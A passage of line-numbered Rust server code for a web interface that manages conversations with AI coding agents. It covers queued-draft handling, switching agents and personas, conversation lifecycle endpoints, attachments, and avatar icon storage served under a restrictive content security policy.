8972 let result = crate::consult::spawn_recorded_turn(
8976 &talks, &id, talk.turns.len() - 1,
8977 ).await;
8978 drop(turn_guard);
8979 match result {
8980 Ok(_) => { let _ = tx.send(Ok((talk, true))); }
8981 Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
8982 }
8983 }
8984 #[cfg(test)]
8985 {
8986 let queued = talk.clone();
8987 let mut talk = talk;
8988 let thinking = ui.is_thinking(&id);
8989 let _ = tx.send(Ok((queued, thinking)));
8992
8993 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
8994 tracing::warn!("talk {id} turn failed: {e:#}");
8998 }
8999 drain_loop(talk, talks, cfg, id, turn_guard).await;
9002 }
9003 }
9004 });
9005
9006 let (queued, thinking) = rx
9007 .await
9008 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9009
9010 Ok((
9012 StatusCode::ACCEPTED,
9013 Json(TalkView::new(queued, thinking, &ui)),
9014 ))
9015 }).await
9016}
9017
9018async fn talk_pending_resume(
9022 State(ui): State<Arc<Ui>>,
9023 Path(id): Path<String>,
9024) -> ApiResult<(StatusCode, Json<TalkView>)> {
9025 let admission = ui.begin_admission()?;
9026 admitted(admission, async move {
9027 let id = {
9028 let ui = Arc::clone(&ui);
9029 let asked = id.clone();
9030 blocking(move || resolve_talk(&ui.talks, &asked)).await?
9031 };
9032 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9033 .await
9034 .map_err(ApiError::from)?;
9035 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9036 return Err(ApiError::conflict(
9037 "a talk turn is already running; the queued draft will be handled by it",
9038 ));
9039 };
9040 let (talk, cfg) = {
9041 let ui = Arc::clone(&ui);
9042 let id = id.clone();
9043 blocking(move || {
9044 let talk = ui.talks.get(&id)?;
9045 if !talk.status.open() {
9046 return Err(ApiError::conflict(format!(
9047 "talk {} is {} and takes no more turns",
9048 talk.short(),
9049 talk.status.as_str()
9050 )));
9051 }
9052 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9053 return Err(ApiError::conflict("there is no queued draft to resume"));
9054 }
9055 let (cfg, _) = Config::discover(&talk.repo, None)?;
9056 Ok((talk, cfg))
9057 })
9058 .await?
9059 };
9060 let view = TalkView::new(talk.clone(), true, &ui);
9061 let talks = ui.talks.clone();
9062 #[cfg(not(test))]
9063 detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9064 #[cfg(test)]
9065 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9066 Ok((StatusCode::ACCEPTED, Json(view)))
9067 })
9068 .await
9069}
9070
9071#[cfg(not(test))]
9074async fn detach_talk_turn(
9075 _talk: Talk,
9076 talks: Talks,
9077 _cfg: Config,
9078 id: String,
9079 turn: TalkTurnGuard,
9080) -> ApiResult<()> {
9081 let launched = crate::consult::spawn_turn(&talks, &id).await;
9082 drop(turn);
9083 launched.map(|_| ()).map_err(ApiError::from)
9084}
9085
9086#[cfg(test)]
9087async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
9088 drain_loop_started(talk, talks, cfg, id, turn, None).await;
9089}
9090
9091async fn settle_settings_turn(
9095 talk: Talk,
9096 talks: Talks,
9097 cfg: Config,
9098 id: String,
9099 turn: TalkTurnGuard,
9100 observed: u64,
9101) -> bool {
9102 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9103 let turns = Arc::clone(&turn.turns);
9104 let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
9105 if live.queued.get(&id).copied().unwrap_or(0) == observed {
9106 turn.release(&mut live);
9108 return false;
9109 }
9110 }
9111 let (started, settled) = tokio::sync::oneshot::channel();
9112 tokio::spawn(drain_loop_started(
9113 talk,
9114 talks,
9115 cfg,
9116 id,
9117 turn,
9118 Some(started),
9119 ));
9120 settled.await.unwrap_or(false)
9121}
9122
9123#[cfg(not(test))]
9124async fn drain_loop_started(
9125 talk: Talk,
9126 talks: Talks,
9127 _cfg: Config,
9128 id: String,
9129 turn: TalkTurnGuard,
9130 started: Option<tokio::sync::oneshot::Sender<bool>>,
9131) {
9132 let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
9133 let running = if pending {
9134 match crate::consult::spawn_turn(&talks, &id).await {
9135 Ok(_) => true,
9136 Err(error) => {
9137 tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
9138 false
9139 }
9140 }
9141 } else {
9142 false
9143 };
9144 drop(turn);
9145 if let Some(started) = started {
9146 let _ = started.send(running);
9147 }
9148}
9149
9150#[cfg(test)]
9153async fn drain_loop_started(
9154 mut talk: Talk,
9155 talks: Talks,
9156 cfg: Config,
9157 id: String,
9158 turn: TalkTurnGuard,
9159 mut started: Option<tokio::sync::oneshot::Sender<bool>>,
9160) {
9161 let live_set = Arc::clone(&turn.turns);
9162 let mut turn = Some(turn);
9170 loop {
9171 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
9172 tracing::warn!("talk {id} lost its turn lease; not draining further");
9175 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9176 if let Some(turn) = turn.take() {
9177 turn.release(&mut live);
9178 }
9179 break;
9180 }
9181 let observed = live_set
9185 .lock()
9186 .unwrap_or_else(PoisonError::into_inner)
9187 .queued
9188 .get(&id)
9189 .copied()
9190 .unwrap_or(0);
9191 let drained = blocking({
9192 let talks = talks.clone();
9193 move || {
9194 let result = talk::drain(&mut talk, &talks);
9195 Ok((talk, result))
9196 }
9197 })
9198 .await;
9199 let (next_talk, result) = match drained {
9200 Ok(drained) => drained,
9201 Err(e) => {
9202 tracing::warn!(
9203 status = %e.status,
9204 message = %e.message,
9205 "talk {id} could not start queued-text drain"
9206 );
9207 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9208 turn.take()
9209 .expect("held for the whole loop until released here")
9210 .release(&mut live);
9211 break;
9212 }
9213 };
9214 talk = next_talk;
9215 let drained = match result {
9216 Ok(Some(drained)) => drained,
9217 Ok(None) => {
9218 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9219 if live.queued.get(&id).copied().unwrap_or(0) != observed {
9220 continue;
9221 }
9222 turn.take()
9223 .expect("held for the whole loop until released here")
9224 .release(&mut live);
9225 break;
9226 }
9227 Err(e) => {
9228 tracing::warn!("talk {id} could not drain queued text: {e:#}");
9229 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9230 turn.take()
9231 .expect("held for the whole loop until released here")
9232 .release(&mut live);
9233 break;
9234 }
9235 };
9236 if let Some(started) = started.take() {
9237 let _ = started.send(true);
9238 }
9239 let responded = match turn.as_ref() {
9240 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
9241 None => Err(anyhow::anyhow!("the turn guard was released")),
9242 };
9243 if let Err(e) = responded {
9244 tracing::warn!("talk {id} turn failed: {e:#}");
9245 }
9246 }
9247 drop(turn);
9248 if let Some(started) = started {
9249 let _ = started.send(false);
9250 }
9251}
9252
9253async fn talk_pending_clear(
9255 State(ui): State<Arc<Ui>>,
9256 Path(id): Path<String>,
9257 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
9258) -> ApiResult<Json<TalkView>> {
9259 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9260 blocking(move || {
9261 let id = resolve_talk(&ui.talks, &id)?;
9262 let mut talk = ui.talks.get(&id)?;
9263 if !talk.status.open() {
9264 return Err(ApiError::conflict(format!(
9265 "talk {} is {} and takes no more turns",
9266 talk.short(),
9267 talk.status.as_str()
9268 )));
9269 }
9270 if !talk::clear_pending_if_matches(
9271 &mut talk,
9272 &ui.talks,
9273 &body.expected_text,
9274 &body.expected_attachments,
9275 )? {
9276 return Err(ApiError::conflict(
9277 "queued message changed; reload it before clearing",
9278 ));
9279 }
9280 let thinking = ui.is_thinking(&talk.id);
9281 Ok(Json(TalkView::new(talk, thinking, &ui)))
9282 })
9283 .await
9284}
9285
9286async fn talk_pending_edit(
9290 State(ui): State<Arc<Ui>>,
9291 Path(id): Path<String>,
9292 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
9293) -> ApiResult<Json<TalkView>> {
9294 let admission = ui.begin_admission()?;
9295 admitted(admission, async move {
9296 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9297 let id = {
9298 let ui = Arc::clone(&ui);
9299 blocking(move || resolve_talk(&ui.talks, &id)).await?
9300 };
9301 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9302 .await
9303 .map_err(ApiError::from)?;
9304 let (view, reclaimed) = blocking({
9305 let ui = Arc::clone(&ui);
9306 move || {
9307 let mut talk = ui.talks.get(&id)?;
9308 if !talk.status.open() {
9309 return Err(ApiError::conflict(format!(
9310 "talk {} is {} and takes no more turns",
9311 talk.short(),
9312 talk.status.as_str()
9313 )));
9314 }
9315 if !talk::edit_pending_message(
9316 &mut talk,
9317 &ui.talks,
9318 &body.text,
9319 &body.expected_text,
9320 &body.expected_attachments,
9321 body.message,
9322 )? {
9323 return Err(ApiError::conflict(
9324 "queued message changed; reload it before editing",
9325 ));
9326 }
9327 let claim = match ui.begin_queued_talk_turn(&id)? {
9328 Some(turn_guard) => {
9329 let (cfg, _) = Config::discover(&talk.repo, None)?;
9330 Some((talk.clone(), cfg, id.clone(), turn_guard))
9331 }
9332 None => None,
9333 };
9334 let thinking = ui.is_thinking(&id);
9335 Ok((TalkView::new(talk, thinking, &ui), claim))
9336 }
9337 })
9338 .await?;
9339 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
9340 let talks = ui.talks.clone();
9341 #[cfg(not(test))]
9342 detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9343 #[cfg(test)]
9344 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9345 }
9346 Ok(Json(view))
9347 })
9348 .await
9349}
9350
9351fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
9353 if talk.status.open() {
9354 return Ok(());
9355 }
9356 Err(ApiError::conflict(format!(
9357 "talk {} is {} and takes no more turns",
9358 talk.short(),
9359 talk.status.as_str()
9360 )))
9361}
9362
9363#[derive(Debug, Deserialize)]
9365struct TalkAgent {
9366 agent: String,
9367}
9368
9369async fn talk_agent(
9374 State(ui): State<Arc<Ui>>,
9375 Path(id): Path<String>,
9376 Json(body): Json<TalkAgent>,
9377) -> ApiResult<Json<TalkView>> {
9378 let admission = ui.begin_admission()?;
9379 admitted(admission, async move {
9380 let id = {
9381 let ui = Arc::clone(&ui);
9382 blocking(move || resolve_talk(&ui.talks, &id)).await?
9383 };
9384 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9385 .await
9386 .map_err(ApiError::from)?;
9387 let repo = {
9388 let ui = Arc::clone(&ui);
9389 let id = id.clone();
9390 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9391 };
9392 let cfg = config_for(&repo).await?;
9393 {
9395 let ui = Arc::clone(&ui);
9396 let id = id.clone();
9397 let cfg = cfg.clone();
9398 let wanted = body.agent.clone();
9399 blocking(move || {
9400 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
9401 .map_err(ApiError::bad_request_from)?;
9402 refuse_if_closed(&ui.talks.get(&id)?)
9403 })
9404 .await?;
9405 }
9406 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9407 return Err(ApiError::conflict(
9408 "a talk turn is running; change the agent once it has answered",
9409 ));
9410 };
9411 let switched = {
9412 let ui = Arc::clone(&ui);
9413 let id = id.clone();
9414 let cfg = cfg.clone();
9415 blocking(move || {
9416 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
9417 .map_err(ApiError::bad_request_from)?;
9418 let mut talk = ui.talks.get(&id)?;
9419 if !talk.status.open() {
9420 return Err(ApiError::conflict(format!(
9421 "talk {} is {} and takes no more turns",
9422 talk.short(),
9423 talk.status.as_str()
9424 )));
9425 }
9426 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
9427 Ok(talk)
9428 })
9429 .await
9430 };
9431 let observed = ui.queued_generation(&id);
9436 let fresh = {
9437 let ui = Arc::clone(&ui);
9438 let id = id.clone();
9439 blocking(move || Ok(ui.talks.get(&id)?)).await
9440 };
9441 let draining = match fresh {
9442 Ok(talk) => {
9443 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9444 }
9445 Err(_) => false,
9446 };
9447 let talk = switched?;
9448 Ok(Json(TalkView::new(talk, draining, &ui)))
9449 })
9450 .await
9451}
9452
9453#[derive(Debug, Deserialize)]
9455struct TalkPersona {
9456 persona: String,
9457}
9458
9459async fn talk_persona(
9463 State(ui): State<Arc<Ui>>,
9464 Path(id): Path<String>,
9465 Json(body): Json<TalkPersona>,
9466) -> ApiResult<Json<TalkView>> {
9467 let admission = ui.begin_admission()?;
9468 admitted(admission, async move {
9469 let id = {
9470 let ui = Arc::clone(&ui);
9471 blocking(move || resolve_talk(&ui.talks, &id)).await?
9472 };
9473 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9474 .await
9475 .map_err(ApiError::from)?;
9476 let repo = {
9477 let ui = Arc::clone(&ui);
9478 let id = id.clone();
9479 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9480 };
9481 let cfg = config_for(&repo).await?;
9482 {
9484 let ui = Arc::clone(&ui);
9485 let id = id.clone();
9486 let cfg = cfg.clone();
9487 let wanted = body.persona.clone();
9488 blocking(move || {
9489 if persona::find(&cfg.talk.personas, &wanted).is_none() {
9490 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
9491 }
9492 refuse_if_closed(&ui.talks.get(&id)?)
9493 })
9494 .await?;
9495 }
9496 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9497 return Err(ApiError::conflict(
9498 "a talk turn is running; change the persona once it has answered",
9499 ));
9500 };
9501 let switched = {
9502 let ui = Arc::clone(&ui);
9503 let id = id.clone();
9504 let cfg = cfg.clone();
9505 blocking(move || {
9506 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
9507 return Err(ApiError::bad_request(format!(
9508 "unknown persona `{}`",
9509 body.persona
9510 )));
9511 };
9512 let mut talk = ui.talks.get(&id)?;
9513 if !talk.status.open() {
9514 return Err(ApiError::conflict(format!(
9515 "talk {} is {} and takes no more turns",
9516 talk.short(),
9517 talk.status.as_str()
9518 )));
9519 }
9520 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
9521 Ok(talk)
9522 })
9523 .await
9524 };
9525 let observed = ui.queued_generation(&id);
9527 let fresh = {
9528 let ui = Arc::clone(&ui);
9529 let id = id.clone();
9530 blocking(move || Ok(ui.talks.get(&id)?)).await
9531 };
9532 let draining = match fresh {
9533 Ok(talk) => {
9534 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9535 }
9536 Err(_) => false,
9537 };
9538 let talk = switched?;
9539 Ok(Json(TalkView::new(talk, draining, &ui)))
9540 })
9541 .await
9542}
9543
9544#[derive(Debug, Deserialize)]
9546struct TalkImplementers {
9547 implementers: u8,
9548}
9549
9550async fn talk_implementers(
9554 State(ui): State<Arc<Ui>>,
9555 Path(id): Path<String>,
9556 Json(body): Json<TalkImplementers>,
9557) -> ApiResult<Json<TalkView>> {
9558 let admission = ui.begin_admission()?;
9559 admitted(admission, async move {
9560 let id = {
9561 let ui = Arc::clone(&ui);
9562 blocking(move || resolve_talk(&ui.talks, &id)).await?
9563 };
9564 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9565 .await
9566 .map_err(ApiError::from)?;
9567 let repo = {
9568 let ui = Arc::clone(&ui);
9569 let id = id.clone();
9570 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9571 };
9572 let cfg = config_for(&repo).await?;
9573 {
9578 let ui = Arc::clone(&ui);
9579 let id = id.clone();
9580 let cfg = cfg.clone();
9581 let wanted = body.implementers;
9582 blocking(move || {
9583 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
9584 refuse_if_closed(&ui.talks.get(&id)?)
9585 })
9586 .await?;
9587 }
9588 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9589 return Err(ApiError::conflict(
9590 "a talk turn is running; change the implementers once it has answered",
9591 ));
9592 };
9593 let switched = {
9594 let ui = Arc::clone(&ui);
9595 let id = id.clone();
9596 let cfg = cfg.clone();
9597 blocking(move || {
9598 let chosen = talk::check_implementers(body.implementers, &cfg)
9599 .map_err(ApiError::bad_request)?;
9600 let mut talk = ui.talks.get(&id)?;
9601 if !talk.status.open() {
9602 return Err(ApiError::conflict(format!(
9603 "talk {} is {} and takes no more turns",
9604 talk.short(),
9605 talk.status.as_str()
9606 )));
9607 }
9608 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
9609 Ok(talk)
9610 })
9611 .await
9612 };
9613 let observed = ui.queued_generation(&id);
9615 let fresh = {
9616 let ui = Arc::clone(&ui);
9617 let id = id.clone();
9618 blocking(move || Ok(ui.talks.get(&id)?)).await
9619 };
9620 let draining = match fresh {
9621 Ok(talk) => {
9622 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9623 }
9624 Err(_) => false,
9625 };
9626 let talk = switched?;
9627 Ok(Json(TalkView::new(talk, draining, &ui)))
9628 })
9629 .await
9630}
9631
9632async fn talk_close(
9634 State(ui): State<Arc<Ui>>,
9635 Path(id): Path<String>,
9636) -> ApiResult<Json<TalkView>> {
9637 blocking(move || {
9638 let id = resolve_talk(&ui.talks, &id)?;
9639 let mut talk = ui.talks.get(&id)?;
9640 talk::close(&mut talk, &ui.talks)?;
9641 let thinking = ui.is_thinking(&talk.id);
9642 Ok(Json(TalkView::new(talk, thinking, &ui)))
9643 })
9644 .await
9645}
9646
9647async fn talk_reopen(
9649 State(ui): State<Arc<Ui>>,
9650 Path(id): Path<String>,
9651) -> ApiResult<Json<TalkView>> {
9652 blocking(move || {
9653 let id = resolve_talk(&ui.talks, &id)?;
9654 let mut talk = ui.talks.get(&id)?;
9655 talk::reopen(&mut talk, &ui.talks)?;
9656 let thinking = ui.is_thinking(&talk.id);
9657 Ok(Json(TalkView::new(talk, thinking, &ui)))
9658 })
9659 .await
9660}
9661
9662async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
9672 blocking(move || {
9673 let id = resolve_talk(&ui.talks, &id)?;
9674 ui.talks.remove(&id)?;
9675 Ok(StatusCode::NO_CONTENT)
9676 })
9677 .await
9678}
9679
9680fn talk_ids(root: &FsPath) -> Vec<String> {
9681 std::fs::read_dir(root)
9682 .into_iter()
9683 .flatten()
9684 .flatten()
9685 .filter_map(|e| {
9686 let path = e.path();
9687 if path.extension().is_some_and(|ext| ext == "json") {
9688 path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
9689 } else {
9690 None
9691 }
9692 })
9693 .collect()
9694}
9695
9696fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
9698 if plain_record_id(id) && store.path_of(id).is_file() {
9699 return Ok(id.to_owned());
9700 }
9701 pick(talk_ids(store.root()), id, "talk")
9702}
9703
9704async fn talk_attachment_post(
9707 State(ui): State<Arc<Ui>>,
9708 Path(id): Path<String>,
9709 headers: HeaderMap,
9710 body: Bytes,
9711) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
9712 let mime = validate_attachment(&headers, &body)?;
9713 let name = filename_header(&headers);
9714 let data = body.to_vec();
9715 blocking(move || {
9716 let id = resolve_talk(&ui.talks, &id)?;
9717 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
9718 Ok((StatusCode::CREATED, Json(att)))
9719 })
9720 .await
9721}
9722
9723async fn talk_attachment_get(
9726 State(ui): State<Arc<Ui>>,
9727 Path((id, att)): Path<(String, String)>,
9728) -> ApiResult<Response> {
9729 blocking(move || {
9730 let id = resolve_talk(&ui.talks, &id)?;
9731 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
9732 return Err(ApiError::not_found(format!(
9733 "talk {id} has no attachment `{att}`"
9734 )));
9735 };
9736 Ok(attachment_response(&meta.mime, data))
9737 })
9738 .await
9739}
9740
9741fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
9744 let id = avatar_encode(&p.id);
9745 format!(
9746 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
9747 persona_icon::fingerprint(
9748 effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
9749 )
9750 )
9751}
9752
9753#[derive(Debug, Default, Deserialize)]
9754struct AvatarQuery {
9755 persona: Option<String>,
9756 builtin: Option<String>,
9758}
9759
9760const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
9762
9763fn builtin_avatar(id: &str) -> Response {
9764 svg_avatar(persona_icon::builtin_svg(id))
9765}
9766
9767async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
9768 raster_or_builtin(
9769 read_icon_file(&avatar_setting_path(&ui.home, None))
9770 .filter(|_| q.builtin.is_none())
9771 .as_deref(),
9772 persona_icon::operator_svg(),
9773 )
9774}
9775
9776fn svg_avatar(svg: &'static str) -> Response {
9777 (
9778 [
9779 (header::CONTENT_TYPE, "image/svg+xml"),
9780 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
9781 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
9782 (header::CACHE_CONTROL, "no-cache"),
9783 ],
9784 svg,
9785 )
9786 .into_response()
9787}
9788
9789fn avatar_encode(value: &str) -> String {
9790 value
9791 .bytes()
9792 .map(|b| {
9793 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
9794 char::from(b).to_string()
9795 } else {
9796 format!("%{b:02X}")
9797 }
9798 })
9799 .collect()
9800}
9801
9802fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
9804 let Some(id) = persona else {
9805 return home.join("avatars/operator.data");
9806 };
9807 let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
9808 let mut path = home.join("avatars/personas");
9809 for chunk in encoded.as_bytes().chunks(100) {
9810 path.push(std::str::from_utf8(chunk).expect("hex"));
9811 }
9812 path.join("icon.data")
9813}
9814
9815fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
9816 match read_icon_file(&avatar_setting_path(home, Some(id))) {
9817 Some(value) if value == "builtin" => Some(String::new()),
9818 Some(value) => Some(value),
9819 None => configured.map(str::to_owned),
9820 }
9821}
9822
9823fn operator_icon_url(home: &FsPath) -> String {
9824 format!(
9825 "/avatars/operator.svg?v={}",
9826 persona_icon::fingerprint(
9827 read_icon_file(&avatar_setting_path(home, None))
9828 .as_deref()
9829 .or(Some(persona_icon::operator_svg()))
9830 )
9831 )
9832}
9833
9834fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
9835 let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
9836 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9837 attachment_response(mime, bytes)
9838 }
9839 _ => svg_avatar(builtin),
9840 };
9841 response
9842 .headers_mut()
9843 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
9844 response
9845}
9846
9847#[derive(Default, Deserialize)]
9848struct AvatarSettingsQuery {
9849 repo: Option<PathBuf>,
9850 persona: Option<String>,
9851 builtin: Option<String>,
9852 inherit: Option<String>,
9853}
9854
9855fn avatar_settings_specs(
9856 ui: &Ui,
9857 repo: Option<PathBuf>,
9858) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
9859 let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
9860 let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
9861 .map(|cfg| cfg.talk.personas)
9862 .unwrap_or_default();
9863 Ok((repo, specs))
9864}
9865
9866fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
9867 let Ok(entries) = std::fs::read_dir(path) else {
9868 return;
9869 };
9870 for entry in entries.flatten() {
9871 let name = entry.file_name().to_string_lossy().into_owned();
9872 if name == "icon.data" {
9873 let bytes: Option<Vec<u8>> = prefix
9874 .as_bytes()
9875 .chunks(2)
9876 .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
9877 .collect();
9878 if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
9879 out.push(id);
9880 }
9881 } else if name.len() <= 100
9882 && !name.is_empty()
9883 && name.bytes().all(|b| b.is_ascii_hexdigit())
9884 && entry.file_type().is_ok_and(|t| t.is_dir())
9885 {
9886 saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
9887 }
9888 }
9889}
9890
9891async fn avatar_settings_get(
9892 State(ui): State<Arc<Ui>>,
9893 Query(q): Query<AvatarSettingsQuery>,
9894) -> ApiResult<Json<serde_json::Value>> {
9895 blocking(move || {
9896 let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
9897 let mut catalog = persona::catalog(&specs);
9898 let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
9899 let mut saved = Vec::new();
9900 saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
9901 for id in saved {
9902 if !catalog.iter().any(|p| p.id == id) {
9903 catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
9904 }
9905 }
9906 let personas: Vec<_> = catalog.iter().map(|p| {
9907 let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
9908 let override_state = match saved.as_deref() {
9909 Some("builtin") => "builtin",
9910 Some(_) => "custom",
9911 None => "inherit",
9912 };
9913 let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
9914 serde_json::json!({"id":p.id,"name":p.name,
9915 "override_state":override_state,"has_config_icon":p.icon.is_some(),
9916 "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
9917 avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
9918 }).collect();
9919 Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
9920 }).await
9921}
9922
9923async fn settings_persona_avatar(
9924 State(ui): State<Arc<Ui>>,
9925 Query(q): Query<AvatarSettingsQuery>,
9926) -> ApiResult<Response> {
9927 blocking(move || {
9928 let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
9929 let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
9930 let found = persona::find(&specs, id);
9931 let icon =
9932 effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
9933 Ok(raster_or_builtin(
9934 icon.as_deref().filter(|_| q.builtin.is_none()),
9935 persona_icon::builtin_svg(id),
9936 ))
9937 })
9938 .await
9939}
9940
9941fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
9942 if q.persona
9943 .as_ref()
9944 .is_some_and(|p| p.is_empty() || p.len() > 4096)
9945 {
9946 return Err(ApiError::bad_request("invalid persona id"));
9947 }
9948 Ok(())
9949}
9950
9951async fn avatar_settings_put(
9952 State(ui): State<Arc<Ui>>,
9953 Query(q): Query<AvatarSettingsQuery>,
9954 Json(upload): Json<MagiIconUpload>,
9955) -> ApiResult<Json<serde_json::Value>> {
9956 blocking(move || {
9957 validate_avatar_target(&q)?;
9958 save_icon_file(
9959 &avatar_setting_path(&ui.home, q.persona.as_deref()),
9960 &upload.icon,
9961 )
9962 .map_err(ApiError::bad_request_from)?;
9963 Ok(Json(serde_json::json!({"saved":true})))
9964 })
9965 .await
9966}
9967
9968async fn avatar_settings_delete(
9969 State(ui): State<Arc<Ui>>,
9970 Query(q): Query<AvatarSettingsQuery>,
9971) -> ApiResult<Json<serde_json::Value>> {
9972 blocking(move || {
9973 validate_avatar_target(&q)?;
9974 let path = avatar_setting_path(&ui.home, q.persona.as_deref());
9975 if q.persona.is_some() && q.inherit.is_none() {
9976 atomic_icon_write(&path, "builtin")?;
9977 } else {
9978 match std::fs::remove_file(path) {
9979 Ok(()) => (),
9980 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
9981 Err(e) => return Err(anyhow::Error::from(e).into()),
9982 }
9983 }
9984 Ok(Json(serde_json::json!({"saved":true})))
9985 })
9986 .await
9987}
9988
9989fn magi_icon_path(home: &FsPath) -> PathBuf {
9991 home.join("magi-icon.data")
9992}
9993
9994fn read_magi_icon(home: &FsPath) -> Option<String> {
9995 read_icon_file(&magi_icon_path(home))
9996}
9997
9998fn read_icon_file(path: &FsPath) -> Option<String> {
9999 let metadata = std::fs::metadata(path).ok()?;
10000 if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
10001 return None;
10002 }
10003 let file = std::fs::File::open(path).ok()?;
10004 use std::io::Read;
10005 let mut text = String::new();
10006 file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
10007 .read_to_string(&mut text)
10008 .ok()?;
10009 if text.len() > persona_icon::ICON_MAX_BYTES {
10010 return None;
10011 }
10012 if text == "builtin" {
10013 return Some(text);
10014 }
10015 validate_uploaded_icon(&text).ok()?;
10016 Some(text)
10017}
10018
10019fn magi_icon_url(home: &FsPath) -> String {
10020 format!(
10021 "/avatars/magi?v={}",
10022 persona_icon::fingerprint(read_magi_icon(home).as_deref())
10023 )
10024}
10025
10026async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
10027 Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
10028}
10029
10030#[derive(Deserialize)]
10031struct MagiIconUpload {
10032 icon: String,
10033}
10034
10035fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
10036 save_icon_file(&magi_icon_path(home), icon)
10037}
10038
